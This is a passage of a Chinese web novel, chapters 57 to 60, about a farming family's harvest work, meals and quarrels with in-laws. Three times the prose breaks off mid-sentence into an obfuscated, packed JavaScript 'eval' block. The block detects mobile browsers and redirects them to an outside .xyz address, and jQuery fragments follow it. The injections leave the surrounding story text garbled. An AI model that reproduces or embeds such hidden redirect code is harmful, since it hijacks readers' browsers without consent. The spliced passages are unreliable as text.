这可比在河里玩水畅快多了，又安全，嘴里喝了水立马双脚往下一踩就能站起来，不像在河里，水深得够不着底，他只能坐在台阶上扑腾两下。 小家伙玩得乐不思蜀，全然忘了新换的干衣物。 丛孝一见忍不住乐了：“还是我儿子聪明，找了个这么好的地方学游水。” 杏娘紧皱眉头，骂不了儿子还对付不了儿子他爹，“才上身的衣裳，你倒是站着说话不腰疼，等会儿你去给他洗衣裳。” 丛孝摸摸鼻子不敢吭声，小崽子闯祸老子遭殃，找谁说理去。 雨后的清晨空气格外凉爽，满是泥土草木气息，被雨水冲刷过的叶片油绿发亮，叶尖坠着一滴水珠，晶莹剔透，将落未落。 六太奶奶跟孙子在田里捡稻穗，六太爷今天精神好，也跟出来溜达。王氏走到这头，六太爷拄着拐杖走到田埂这边，她走到那头，他又磕磕碰碰跟到那边的田埂。 “你老跟着我做什么，趁着今天凉快，赶紧回家睡一觉养养神。”王氏好笑地看着老头在田埂上转圈，挥手赶他回家。 刚能站起来走几步，要他在家里歇息，死活不肯答应，非要跟着她到田里来。来了又做不了事，费劲巴拉地跟来跟去。老头子走得不累，她看着都觉得心累的很。 六太爷“嘿嘿”笑着不说话，也不往家走，拄拐站在原地。 一场雨下来，田埂上的野草长得飞快，抽高了老大一截，草丛藏满了雨水。 六太爷的裤腿被浸湿，脚底满是污泥，走这一截路对他来说显然太费力。他努力控制自己的呼吸，喘息的声音不要太大。 纵然老婆子忙得没空搭理他，只要能看见她的身影总是好的。 朱青水在一旁的田里大声喊道：“六太爷，您老年轻的时候威风八面，说一不二，被刀子剜了肉眉头都不带皱的。怎地老了老了倒要看六太奶奶的脸色，您不是向来瞧不上这等儿女情长的么，现在还跟手跟脚上了？” 众人哄笑，捡稻穗无聊又琐碎，瞧瞧乐子蛮不错。 王氏老脸一红，越发觉得老头子无理取闹，她想在家里躲懒还不能呢。他倒好，路都走不稳当还到处瞎晃荡，挥手让老头回家。 丛其看他拿自个老子打趣，自然不依，“你少他娘的胡说八道，我爹娘的情分自来就好，他年轻的时候，你还在娘胎呆着呢，你知道个屁。” 六太爷却是一点也不生气，依旧笑眯眯的，花白的头发衬得脸上的皱纹越发沟壑重叠。 被骂了一顿，朱青水满不在乎地挑眉，“六太爷，您老可得好好保重身子骨啊，活得越久越好。您看眼下这双抢忙成了什么样，割完了稻谷还得碾场，耕田，又要拔秧、栽秧，一个人恨不得长出四只手四只脚才好。您老可不能害人啊，要不然哪有空料理您。” 英娘忍不住了，对自个男人破口大骂：“你满嘴胡沁什么，管好你自家的事，别人家里轮不到你操心。好好的嘴巴不会说话就闭上，没人当你是哑巴。” 朱青水张开嘴巴想说什么，又闭上，他真的没有恶意，只是有时候确实管不住嘴，耸了耸肩，低头继续找稻穗。 王氏叹一口气，心里弥漫了悲伤，这悲伤就像秋日早晨的大雾，无所不在，无处隐藏。面上还不能表现出来，只是不再赶老头回家，随他吧……左右也跟不了几天了…… “没事，没事。”六太爷乐呵呵地摆手，和蔼可亲地劝英娘，没有一点生气的迹象，“你不要骂他，他没有坏心思。” 又转头对着朱青水的方向，“你放心，六太爷打年轻时起就没干过坏事，临到头也不会害人，不要担心，我身子好着呢。” 朱青水尴笑两声，他真的不是故意的，嘴巴一快就没把住门，他肯定是希望老人家能好的嘛。可如果真的好不了，那现在确实腾不开手，那什么的……不能想了，越想越离谱，搞得他好像在咒人似得。 …… 不到晌午，火热的太阳光就把田里的水烤干了，人们继续挥舞镰刀割稻谷。 丛三老爷在家门口踩一圈，晒得差不多了，仍套上水牛拉了石磙平整场地。门口堆着的稻谷且不忙着碾场，先把昨天装进框的谷子晒干。 等老爹平整完场地，丛孝搬了箩筐倒出谷子平铺在地面，吩咐家里孩子赶麻雀。两父子拉过牛绳赶往田里，泡了一上午，底下的土还是硬邦邦的。 不过也等不及了，双抢就是这样，抢着收抢着种，哪有时间慢慢等。 依旧是老的牵绳年轻的把犁，只不过这次可比开春那会慢多了。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15457616|169588||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 水牛吃力往前拱，丛孝扶着犁头也不轻松。种了一季的土块且是那般好啃的，都结成了板块，非得往深里耕不可，枯黄的稻茬被埋进土里，正好肥田。 丛康割稻谷割得腰酸背痛，满脸通红，羡慕地对丛孝喊到：“七叔，你家可真快，已经开始耕地了，我家谷子才割了一大半。跟你家没法比，拍马都追不上啊！” 丛孝哭笑不得，不敢停下说话，这口气一泄再想驱赶水牛，又得费一番功夫。 他头也不回地说：“你不能光看贼吃肉没见贼挨打啊，我家快是田少，我倒想慢着点来，得有田给我慢不是？水田多收成才多，不会饿肚皮，多才好呢。” “我要有你那手艺，我才不种田呢，累死累活才得几个钱。”丛康满是遗憾地嘀咕，汗水流到眼睛里，涩的慌，“你说我怎么就没学会一门手艺呢？我爹娘也真是的，合该在我还小时送我去当学徒。” 丛老三听不下去，对着儿子就是一顿吼：“我倒是想送你去当学徒，你吃得了那个苦吗？少时镰刀割破手指就哭唧唧没个完，勤劳苦干没你的份，偷懒耍滑你倒样样不落。还想去当学徒？我看你是想屁吃，现在看人家轻松赚钱心里不得劲是吧，我告诉你，晚了，这世上最不缺的就是后悔药。” 丛三老爷在一旁打圆场：“他三伯说的什么话，都是好孩子，有啥可比的。种田有种田的累，远走他乡也不是那么好过的。好在都能当家做主，养活父母妻儿，那就是咱们老丛家的好男儿。” 一句话说得几人都笑了，为了给儿子解围，吴氏笑着打趣道：“都说三叔是个笨嘴拙舌，不爱说话的，我看不见得吧，要真是那样能养出老五、老七这般有出息的男丁。我听说五弟在镇上当教书先生好着呢，咱们在这里吃土流汗一嘴泥，人家在学堂吹着小风教学生，那日子过得才叫舒坦。” 丛三老爷说不过她，朝水牛背上挥一鞭子，“你看你，还笑话你三叔来了，我也不怕说实话丢人。我是个没本事的，这辈子就靠着几亩地过日子，是好是赖都这样了。他们两个有本事是他们自个谋出来的，我呀，没能耐帮他们，顾好自个就行咯！” “您没能耐不要紧，儿子有出息就成，要说还是三老爷有福气，两个儿子都有本事还有什么好愁的。我倒巴不得丛七哥更有能耐些，咱们大伙跟着沾点光呀。”旁边田里的汉子也过来凑趣。 “哈哈……”众人大笑，起哄要丛孝出人头地，到时提携乡亲父老。 “好，好。”丛孝打小就不是个怕人笑话的，大手一挥，当即甩出豪言壮语，“且等我先谋划谋划，咱们找一个为富不仁、助纣为虐的老王八，来他个劫富济贫，锄强扶弱，到时大伙都跟着我发大财呀！” 这下捅了马蜂窝，手里的镰刀握不住掉地上，人人笑的打跌，“哈哈……你还真敢想啊，还劫富济贫……到时把你自个给劫走了。” “就是，人有多大胆地有多大产，咱们确实不如你。” “丛老七，老子看好你，你要当上山大王，老子往后就跟你混了。” 一场乐子逗得田里的众人笑得酣畅淋漓，嘴巴酸疼双腿发软，给麻木无休止的辛劳添上一份短暂的欢声笑语。 笑过了，闹过了，依旧埋头劳作，弯腰挥洒汗水。 58. 第 58 章 丛孝在田里慷慨激昂，杏娘自是不知，趁着家里男人犁田，她难得空闲半日，打算做些吃食犒劳全家的五脏庙府。 早起她就托了周老爷子在镇上买一条草鱼和一条五花肉，吃完晌午饭过去拿。 周老爷子家就两亩地，别说耕田了，人家早早把秧都栽完了。这个可真比不了，也没人想跟他老人家比。 无他，两亩地交了赋税连自个都养不活，还得买粮吃，谁家经得住这般过活。 好在周老爷子家就两口人吃饭，零碎卖些鱼虾蟹蛋，加上撑船的船资，勉强养得活自个跟孙儿。农忙时坐船的人少，也不是完全没有，别个村的艄公艄婆有田地要料理，无暇出船，周老爷子的生意反倒好了些。 提回来的草鱼足有三斤，是个大家伙，水乡人家靠水吃水，吃鱼多过吃肉。 没办法，谁叫鱼比肉便宜易得呢，有那抠搜的人家，不到过年不买一片肉。实在馋的很了，杀一只公鸡解解馋，母鸡是万万不能杀的。 杏娘打算做阳干鱼，草鱼去鳞片剁成两指宽大小，加入盐、生姜丝、醋腌制片刻后在太阳底下暴晒，这般大的日头晒大半天即可。 至傍晚时分，鱼块晒得六、七层干，表皮发皱略微紧绷，捏起来弹性十足，晒的时辰恰好，收进布袋明天吃。这种阳干鱼适合热天做菜，就是存放的时间不能过久，以免鱼块发臭生蛆。 点得早的豆角此时已经长老变黄，蓬松的外皮又薄又硬，包裹着饱满结实的豆子，嚼是嚼不动的。此时已然不适合清炒，却是蒸菜和炖菜的最佳选择。 豆角掰成大小相等的小段，与切成片的五花肉一并洒了米粉拌匀，跟蒸鱼的做法一样，先蒸后勾芡。豆角沾染了油脂，蒸得软烂入口，豆子更是绵密细软，有一种沙沙的口感。 肉片裹了酱汁散发扑鼻的香味，都不用怎么嚼就咽下肚，最受老人、小孩欢迎。 要不说孩子也是知道好歹的，晌午陈氏做饭就囫囵吞枣，饭扒得快咽得更快，如同猪八戒吃人参果，还没品出啥味来呢就进了肚子。晚间亲娘做饭就不一样，吃得也快那是为了抢菜，把菜夹到碗里就慢了下来。 “叶儿，给爹再盛碗饭。”丛孝把碗递给大女儿，随口吩咐。 青叶嘟嘴不满，但也不敢违抗她爹的命令，她正吃得开心呢，心不甘情不愿接过碗。 作为一个普通农户里当家做主的男人，似乎总是有各式各样的特权，吩咐孩子打饭就是其中一样，丛孝也不例外。他们一般在饭桌上坐得稳当，碗里的饭一空，有眼色的妇人立刻起身拿起碗盛饭。 当媳妇抽不出空时，孩子就成了最好的备选，尤其是女孩，其次是男孩。 通常前者一直到出嫁都要给家里的男性长辈盛饭，嫁了人又要给丈夫盛。后者小时还听话顺从，一旦长到十五、六岁，那真是恨不得把天捅个窟窿，完全不会理会父辈的吩咐。 如李苏木念过学堂的人，温文尔雅，待人和气，在他未成婚时跟李老大发生争执，一气之下摔了给他爹盛饭的碗。差点没把李老大气出个好歹，站起身转着圈的找棍子要教训不孝子。 可儿子都这般大了，长得比他还高，嘴里嚷嚷得厉害，到底下不去手。 在丛家又有点不一样，丛三老爷打年轻那会就没享受过媳妇盛饭的待遇，不给他媳妇盛饭就够好了，期望值一直不高。等到上了年岁，更是心胸平和，待人处事泰然自若，不就是走几步路的事，他老人家一向是吃完了自个去盛。 丛孝也跟别家不一样，自成婚起就没敢吩咐媳妇干这事，久而久之也没人给他盛饭。直到大女儿能跑会跳能帮点小忙了，他才开始享受大老爷们特有的权利。 青叶跑到灶台边放下碗，急忙去揭锅盖，“哐当”一声，碗没放稳掉下来摔得粉碎，看着一地碎片，青叶傻眼。 陈氏稀疏的眉毛一竖，捏着筷子的手指向青叶，“个小蹄子的，你说你能干点什么，盛饭都盛不好，把你养这么大有什么用。别人家这般大的孩子都能当大人使唤了，每日在田里起早贪黑，就你还在家里憨吃憨玩，不长半点心眼。 你知道这碗多少钱一个吗？连碗都拿不稳，你说你……” “破了就破了。”杏娘高声打断婆婆的喋喋不休，“一个碗而已，家里又不是买不起，她又不是故意的。” 横了男人一眼，杏娘走到院子拿来扫帚簸箕扫走碎片，安慰女儿：“你前儿不是说何竹新得了一副石子儿吗？这下你也能做一副新的了，吃过饭娘帮你把碗底敲碎磨平，明儿找何竹去玩。” 青叶怯怯点头，心有余悸跟在她娘身后。 陈氏静静站了几息，嘴巴开阖数次，愤懑扭身一屁股坐下来扒饭，端起碗又放下，“哐当”，吓了青皮一跳。 早在杏娘起身的时候，丛孝就乖觉地去橱柜另拿一只碗盛饭，等俩母女返回饭桌时，他也悄无声息坐下来。 全家安静吃饭，连咀嚼声都小了，一时饭桌上斯文不少。 这次回家丛孝也不是一无所觉，他还是颇有感触的，似乎他媳妇在这个家的地位提升了不少。 更准确地说，他亲娘貌似对他媳妇有点犯怵…… 虽然不知道是什么原因，不过丛孝是喜闻乐见的。 他娘这个人吧，大过没有小错不断，有个人能管管挺好的。他媳妇也不是个坏心思的，做不出什么过分苛待婆婆的事。年轻时被婆婆、嫂子忽悠着过活，吃过大亏，现下能当家做主，越发有掌家的派头，他更高兴。 媳妇能干他在外头也放心，两口子劲往一处使，努力攒钱养家，家业才能兴旺，日子才有奔头。 …… 隔天依旧是鸡叫两遍起床，杏娘先去秧田扯秧，丛家父子俩牵水牛耕地。 早、午饭仍是由青叶提来，不到田里的稻谷全部变成秧苗，别想在家吃早饭。太阳挂在树梢时，青叶过来找爹娘。 这回不用抱稻谷，她牵了绳子放牛，大黑牛念念不舍在水沟里打个滚起身。浑身沾满湿泥巴，尾巴不停甩动，污泥四溅，青叶皱着眉头往一旁躲。 田埂上的杂草长得比腿还高，根本无需费心寻找水草茂盛的地方。 随便找条宽田埂，拽着绳子端头在手上绕一圈，站在水牛前慢吞吞往前挪动。一旦老牛生出不轨之心，偏头想撩田里的秧苗，立刻拉紧绳索往后一扯，水牛头偏转过来，照旧啃它的青草。 它的嘴巴可真大，长舌头撩一圈，嘴巴一咬，地上的草齐根截断，整齐有序，像被镰刀割了似的。吃草时缓慢嚼动，发出有节奏的声音，清脆利落。 这条水牛从小牛犊时就 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15457617|169588||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在她家了，一直长到现在成年。它的身躯庞大而健硕，肚子鼓胀胀的，弯弯的牛角黝黑发亮，表面带有神秘的刻痕。 水牛性格温和，青叶偶尔会碰触它的牛角，来回抚摸，它也不发怒。有时在窄小田埂上青叶忘了往前走，水牛就静静立在她身后，不发出一点声音，更不会用牛角触碰她。 青叶一回头对上又圆又大的眼睛，无辜地看着她，那双眼睛是如此的纯真、明亮，不谙世事。 每当这时她就心生抱歉：“哎呀，你怎么不出声提醒我，我还以为你没吃完呢？”好像忘了它是一头牛，像对待人那样跟它解释。 青叶急忙往前走几步，给水牛腾出前面的青草，让它吃尽兴。 最高兴的莫过于跟爷爷一起放牛，爷爷把她举起放到牛背上。怕她摔下来疼，特意把牛往干涸的小水沟里赶，脚两旁能挨着地面，心里顿时踏实不少。 牛背上温热坚硬，它的毛很短很粗糙，一缕缕贴在背上不好拽。大喇叭似的耳朵来回拍打，毛茸茸的长尾巴不时扫过屁股，挠痒痒似的带来丝丝酥麻。 青叶在一边放牛，三个大人都在水田里栽秧。 相比于割稻谷，杏娘更喜欢栽秧，至少不会被那些无孔不入，无所不在的芒屑、碎片包围。站在水里依然潮湿、闷热，却比稻田开阔、凉爽多了，若是没有蚂蟥就更美满了。 把白天扯的秧都栽完，天色已近擦黑，洗干净腿脚，一家子赶了牛回家。 眼看今年的双抢即将结束，杏娘心情大好，不考虑收成的话，家里的田比往年少了一大半还是有好处的。以往是忙完这一个多月，好生生的人能活脱脱蜕掉一层皮，今年好些了，只瘦了些，没有元气大伤。 可见还是要赚银子啊，手里有钱心里不慌，田亩少照样不会饿死，指望种田赚钱没希望，她家又不是地主。杏娘心下感慨，手里忙个不停。 阳干鱼煎得焦黄喷上一勺酱，辛辣的味道在空气弥漫，灶房响起此起披伏的喷嚏声，等着开饭的人忙避出去。清炒的南瓜藤绿油油的，鲜嫩可口。 磕两个鸡蛋跟炸胡椒一并炒了，又是一个菜。可惜家里的母鸡还不能下蛋，估摸着下半年能吃上。 再就着几片肥肉炖一个老黄瓜，装一碟兰花豆，一碗酱萝卜，饭桌又摆得满满当当。 丛三老爷夹起一粒兰花豆，色泽微黄，散发盐粒和蒜头的焦香，入口酥脆。他闭上眼微微陶醉：“这般好的小菜，合该配酒才是。” 杏娘笑道：“等忙完了这茬农事，我给爹打一壶酒庆贺，再整两个好菜，包管您满意。” “那我就等着了。”丛三老爷欣慰地笑了，又夹一颗兰花豆。 陈氏在一旁翻白眼，看不得她讨好巴结的样。 杏娘看了也当没看到，左右无论做什么这个婆婆都看她不顺眼，除非她愿意当冤大头，跟往常那样过。现如今杏娘偏又不愿意那么做，两人一个屋檐下井水不犯河水，王不见王，倒也相安无事。 讨好公爹还是有必要的，一来他老人家性子好，从不找事。二来双抢也多亏了他出大力气帮忙，两口子轻松一大截，这就是家里有老人帮衬的好处。 再者两人还得合伙摆摊呢，总之，给公爹花钱打酒她还是愿意的。何况自个男人也能沾光喝几杯，何乐而不为。 59. 第 59 章 栽完最后一块田的秧苗，全家老少长出一口气。这一个来月过得如此艰难，以至于放松心神后人人都无精打采，恨不得睡他个三天三夜。 睡三天是不可能的，只要当天晚上早点安歇，睡到天大亮起床，又是精神饱满，元气十足，比吃了百年人参千年龟的补药还灵验。 极端劳累的后遗症显然是很大的，连丛三老爷这样的勤快人也难免躲会懒，早起没去后院割草，搬来两捆稻草把老伙计给打发了。 丛孝更不用说，恨不得一天十二个时辰长在床铺上。也不知道怎么那么能睡，除了吃饭洗漱，其余时间就没睁开过眼睛。 杏娘懒洋洋地坐在河边的树荫处摘红薯藤，撕掉外皮折成小段，跟红辣椒一并炒，是热天常见的一道家常菜。就是处理起来有些麻烦，细细的红薯藤一根根的去掉表皮，琐碎的很，折完一盘手指甲都是黑的，洗也洗不掉，只能等它自个褪色。 好在杏娘这会儿多的是时间，慢条斯理地摘叶剥皮，不时抬头看一眼旁边玩耍的孩子，纯当打发光景。 青叶跟青皮在台阶上抓石子，碗底一圈磨成大小均匀的颗粒，边缘光滑，一副五粒。 抓石子的规则有很多，一颗石子往上扔，分别抓起地上的一颗、两颗……四颗，接住落下的石子；或是五粒一起往上扔，翻转手掌用手背接住落下的石子，接的越多赢面越大，再抛上去抓起地上的石子接住下落的；亦或是往上抛一粒，抓一颗置换一颗，轮流把地上的四颗石子换个遍…… 花样如此之多，姐弟俩只会玩最简单的，往上抛一粒，抓起地上的一颗，抓两颗都困难。这也不怪他俩，青皮是手小，五颗子儿尚且握不拢，还要往下漏一粒。 青叶手倒是够大了，可她的五根手指白白胖胖，手掌握拳就像刚出锅的馒头。手指张开，手背上四个深深的肉窝窝，可讨喜了。 这在老人看来是相当有福气的一个孩子，这都是“富贵窝”啊！ 当然要杏娘来说的话，这福气养起来也不是件容易的事，耗费了她多少鸡鸭鱼肉蛋。就她吃过的好东西来说，这也是个享福的孩子。 姐弟俩吭哧吭哧抓石子，要么只顾着看往上抛的石子，手在地上乱摸，一颗没摸到不说，空中的又落下来。要么找准地上的位置，一把抓住了，往上抛的石子又偏到旁边去了…… 总之就是一阵手忙脚乱，手跟眼睛各干各的，顾得了一个顾不了另一个，无法相互配合。 他俩是又菜又爱玩，玩得咋咋呼呼的，自个不觉得如何，杏娘先看不过眼了——这也太菜了吧！ 一把扒开两个小崽子，“看好了，娘教你们怎么玩？” 那副石子到了她手里好像突然变小了，杏娘往上抛一粒，随意的抓起地上的三颗、四颗，空中的石子稳稳地落入手掌心。她任意变换花样，那石子儿就像粘在她手上似得，要往上就往上，往下也是直直的掉下来，而且向上抛的速度越来越快。 石子如同被驯服的小绵羊，乖巧听话，一点不复之前桀骜不驯地张狂。 “看见没，直直的往上抛，往下放，先看准地上的位置，快速抓起来后移动手掌接住落下的石子。眼睛和手要配合默契，特别是眼睛，要一上一下盯准了，偶尔跑偏了也没关系，下一把纠正过来就是。”杏娘一边演示一边教两个孩子动作要领。 两个小的满眼惊叹，看他们娘跟变戏法似得抓放石子，眼花缭乱，目不暇接。 一道含笑的声音插了进来：“杏娘，孩子都这般大了，你还是个姑娘脾气呢，这些个小玩意玩得这么利索。” 杏娘脸一红，一时玩得尽兴就忘了时辰，她讪笑一声停住手，“让五婶见笑了，一时手痒就没忍住。” 把石子递给女儿，“记住了没，像娘刚才那样玩，记不住也没关系，多练习就会了，自个玩去吧。” 郑氏感叹：“要不说你性子好，连孩子玩耍的把戏都教，还是你日子过得舒坦，有这个闲情逸致。这一场农忙下来，我跟你五叔就差没揭下来一层皮，都这般了，还有两块田的秧没栽完。” 她家没人送饭，每天晌午郑氏回家做了饭再给田里的父子三个送去，真真是忙得脚打后脑勺，晚间安歇时全身上下没有一块好骨头。 “你家孩子也听话，青叶小小的一个人儿，乖巧懂事。往常帮我扭草把子，来来回回一走就是半个时辰，从没听她抱怨，一喊就过来。我家两个臭小子就没有省心的时候，要不是每天晚上回家吃饭睡觉，我都见不着他们人影。也就农忙时还看着像点样，要不然这两小子可真是白养了。” 青叶抿嘴不好意思一笑，她那是为了听故事才跑去五奶奶家帮忙的，并不是勤快喜欢做事…… 杏娘听得心里乐滋滋，嘴上还要道：“五婶说的哪里话，您呀，只管往前看，家里女孩都出嫁了。等过两年老八、老九也成了婚，媳妇娶进门，您老的好日子就出头了。到时自有媳妇、孙子伺候您，享福的日子还在后头呢。” 一番话说得郑氏心里也乐开花，“借你吉言，我倒巴不得他们快点娶亲，多个人帮把手，我还能多活几年。就是这眼下的日子太难熬了，一日盼一日，什么时候能长大哟！” “不急，不急。”杏娘收拾好菜叶，拿起小板凳，“您只需看看我家的几个萝卜丁，那才是真真愁人，拉面人都没这么快的，且有得磨呢。” 郑氏提着洗干净的菜往家走，篮子往下“滴答”漏水，“你又来哄我，我多大岁数，你才多大，没这么比的，要比也是跟你爹娘。比起他们，我跟你五叔落后一大截。” “那您也比我爹娘年轻一大截啊……” 两人说说笑笑各自往家走去，进了大门说话声渐歇。 …… 杏娘说了给公爹打酒喝，那就要兑现，且不能光秃秃就一壶酒摆桌上，她打算好好整治一桌席面。 一大早起床就坐船去了镇上，各色荤素菜鱼蛋买了半篮子，打了一壶酒，没舍得买点心。等她兴头头下船踩到自家门口的台阶上时，听到屋里传出的一阵阵笑声。 这是家里来客了？ 杏娘满腹疑惑往家门口走，只见两扇大门敞开，丛信一家三口坐在自家堂屋言笑晏晏，好不欢快。 这一家子是狗鼻子不成，自家好不容易吃一顿好的，这么大老远的闻着味儿就过来了。 “杏娘回来了，外头热得很吧，快坐下歇歇。”林氏率先出声，笑容满面，仿若主人。 丛孝紧走几步过去接篮子，放在桌上后给她倒了碗茶。 杏娘端起碗一边喝凉茶，一边用眼角打量这一家三口。 一家子都穿得光鲜亮丽，特别是林氏，身上的这套水蓝色短衫、 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15457618|169588||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 罗裙估计还没下过水，崭新、光滑，没有一丝褶皱。头发梳得油光水滑，发髻上簪了一支半新的银簪子，脸上的气色好极了。 比起这一个来月起早贪黑在田里风吹日晒的杏娘，林氏的脸白皙、圆润如满月，似乎还发胖了些。相较之下，杏娘就显得面黄肌瘦，身子单薄了点。 陈氏手里拿着一包点心，喜笑颜开地说：“来就来了，还买什么点心，有这个心就好，我跟你爹不缺吃的，再说你们也不富裕。” 林氏柔声道：“这是我们的一片孝心，娘只管收下就是。” 杏娘不着痕迹收回目光，心里一哂：看来她这大嫂日子确实是起来了，这回让她显摆上了，也不知这次回来有什么事？ 转念又想到刚交上去的赋税，莫不是回来收租子的？ “今年收成好，大家伙日子就好过，你是不知道，住在镇上一根葱都要花银子买，水都不敢多喝一口。别提多不方便，还是在老家好，吃的喝的都是自家的，不用日日往外掏银子。”丛信跟弟弟大吐口水，嫌弃镇上的诸多不便。 不过看他越发肥胖的身体，显然跟他说出的话大相径庭。 丛孝随口安慰道：“眼下这一季的租子收上来，大哥、大嫂的日子就好过了。住在城里就是这样，吃喝上是有些许不便，但是也有很多便利。好在大哥还有私塾的进项，日子慢慢过就好了。” 丛信家的田地租给了本家一户弟兄多田亩少的人家，约定每年缴了赋税交租子，一年两季，佃租按照时下的约定。 为了免生事非，杏娘从来都是绕着大哥家的田地走，丛孝更是栽完秧离家，割稻子回家，对他哥田里的收成一无所知。故而两口子都不清楚他家收了多少租子，想来应该不少，毕竟那么些田在那里摆着呢。 丛信越发谦虚：“嗨，看着田多，其实也没多多少，何况我家里花销大着呢，你是不知道……” “爹娘，大哥，大嫂，你们先聊着，我去收拾饭菜。难得今天咱家人这么齐全，晌午好好吃一顿团圆饭，我就先去忙了。”杏娘突然出声打断她大哥的话，站起身提过菜篮往灶房走。 这些话她耳根子都听腻了，说来说去无非就是装穷、诉苦、博可怜，旧戏班唱不出新曲目。唱戏的人不累，她这个听戏的人都听厌烦了。 往常也经常来这么一出，尤其是每当丛孝外出回家时，一家子热情迎接真情款待。热闹过后就是三句不离世道如何艰辛，五句说一下生活如何困苦，丛孝又是多么幸运——有一技之长伴身，永远不担心饿肚子。 恨不得扒开他的皮肉，吸吮里头的骨血。直说得丛孝心甘情愿掏出银子了，这场大戏才落幕，爹娘照旧是爹娘，兄弟还是兄弟。 现在么？杏娘心里冷笑，谁敢扒她家吸血试试，她的拳头可不认人。 至于晌午这顿饭肯定是躲不过去的，人来都来了，还能赶出去不成？既然如此，还不如大大方方说出来，免得让人觉得理所当然地吃喝。 左右菜都买好了，这一顿席面本就是给公爹准备的，他老人家想必更乐意跟儿子们一起享用，杏娘更不会计较这个。之前那么些冤枉钱都花了，如今哪会在乎一、两顿酒席。 林氏也随即站起身：“你们兄弟先聊着，杏娘一个人想必忙不过来，我去灶房打打下手。”说完，跟杏娘前后脚进了灶房。 60. 第 60 章 杏娘抬头看到林氏跟着进来，身上的汗毛竖得笔直，刚才被太阳晒晕了脑子，竟然没想起云娘说的那些话。 她说什么来着……绕弯子，兜圈子……还有什么来着，哎呦我的个天老爷，说个话怎么这样多道道，她哪还记得住。 亏得她那时盼着林氏回来好一雪前耻，准备了老些推演说辞，林氏会说哪些话，她应该怎样怼回去。当时明明算的好好的，时间一长，尤其是这段时间被太阳晒得头晕脑胀，愣是半点都想不起来了…… 哎哟！我这个猪脑子，杏娘懊恼地拍了额头一巴掌，心里给自个鼓劲：不就是个林氏吗，还能比猛虎吃人可怕？ 她有什么好怕的，不知道如何说话不要紧，怎么气死人怎么来。 打定注意后老神在在地洗菜、切肉。 林氏也搬了小板凳过来洗菜，“这藕梢子可真水嫩，白生生的，要说还是家里好，吃食从园子里摘了就上桌，鲜嫩的很。不比镇上买的菜，也不知道放了几天，吃着就一股隔夜味。” 杏娘手脚麻利地把藕梢子折成小段，淡定地说：“咱家有没有荷花池子，嫂子不清楚？至于水沟里那些野生的，早八百年就给抽个干净，还轮得到我去捡漏？这些菜就是在镇上买的，想必嫂子吃得腻了才如此感慨，咱家可吃不起这个。” 林氏一噎……她怎么就忘了这个弟媳早今非昔比，今时不同往日了，这可是个下狠手的主。怪她一时得意忘了形，也是这么老长时间没碰面，竟然给忘到后脑勺。 她咳嗽一声正了神色，“弟妹说笑了，我们是什么家底，捡几片菜市场剩下的叶子炒一盘罢了，哪吃得起这般精贵的菜。” “是我说错话了，嫂子别见怪。” 林氏“……” 林氏再接再厉：“我们一家子运气可真好，平时也没空回来，不成想一回老家就能吃上席面，这次沾了弟妹的光。” “谁说不是呢。”杏娘捞起菜蔬，甩一把手上的水，“我都怀疑嫂子是不是有传说中的千里眼，我们家难得吃一顿好饭菜，嫂子就拖家带口地过来窜门。嫂子这运气……没得说，谁都比不了。” 林氏“……” 她这个弟媳今儿是吃错了药，还是给鬼怪上了身？之前是笨得像个棒槌，现在是精得成了条泥鳅——滑不溜秋不沾手。 她说一句，弟媳就怼一句，话里带刺，存心跟她过不去。林氏一时也没了说话的兴头，僵硬着一张脸洗青菜。 院子里悄无声息，只有洗菜的哗啦声，显得堂屋的笑谈格外响亮。 篮子里的菜蔬清洗干净，杏娘拿过菜板切肉片，她干农活寻常，灶上的手艺却是无师自通。自个好吃也喜欢钻研吃食，久而久之练就一手好厨艺，灶房的活计也干脆利落，手脚快得很。 等到杏娘开始剁肉末捏丸子时，林氏重振旗鼓，语气满是艳羡，“今儿的肉可真多，弟妹花了不少钱吧？别看我们住在镇上，可你大哥每月的束脩是一成不变的，一个铜子都不会多。不像二弟那般活泛，活计多得到的银子就多，比他大哥强。” 她就说林氏怎会这么好心过来帮忙，往常都是当自个是客人，袖手翘脚只等开饭。 杏娘扯起嘴角无声一笑，云娘说什么来着，说她没吃过苦头，听不懂暗话。她现在不就听懂了么？ 可见人要是一旦开了窍，没有什么是不可能的。 她大嫂绕了这么大一个圈子，不就是项庄舞剑意在丛孝嘛。狐狸的心思藏得再好，尾巴现了形，藏得再深也没用。 “嫂子真这么想？”杏娘笑吟吟反问。 林氏一愣，不明白她为何一反方才的冷淡姿态变得热情，心里闪过一丝古怪，“是啊，咱们村多少人羡慕二弟，你又不是不知道，我跟你大哥也不例外。” 